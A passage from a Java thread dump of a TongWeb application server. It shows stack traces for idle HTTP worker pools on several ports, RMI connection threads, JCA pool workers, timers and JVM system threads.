com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-9" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-7" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[192.168.215.4:7200]" #107 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@5512b170 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-6" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-10" #126 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-9" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-3" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-1" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-6" #39 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"TONGWEB-startStop-2" #111 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1151f6b3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #104 [WAITING] on java.lang.ref.ReferenceQueue$Lock@110522a2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-192.168.215.4" #105 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1078591587.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@515c88c3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-nio2-8080-exec-4" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-10" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@13acbf2f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"snapshot" #131 daemon [TIMED_WAITING] on java.util.TaskQueue@dd62787 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"compress-log-timer" #14 daemon [WAITING] on java.util.TaskQueue@35fe04ad + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"JCA-default-thread-pool-worker-5" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RetryTimer" #101 daemon [WAITING] on java.util.TaskQueue@d18841 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"NioBlockingSelector.BlockPoller-1" #40 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) + +"pool-5-thread-1" #184 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76721ab3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #17 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4a24f1e5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"JCA-default-thread-pool-worker-7" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-5" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-ClientPoller-0" #127 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-2" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-AsyncTimeout" #114 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-1" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-7" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-6" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-8" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #112 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1349) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-6" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-ClientPoller-1" #128 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815) + at java.lang.Thread.run(Thread.java:750) + +"Auto-deploy-timer" #190 daemon [TIMED_WAITING] on java.util.TaskQueue@f3a4f60 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RMI TCP Accept-7200" #103 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-10" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-Acceptor-0" #129 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:472) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-2" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at 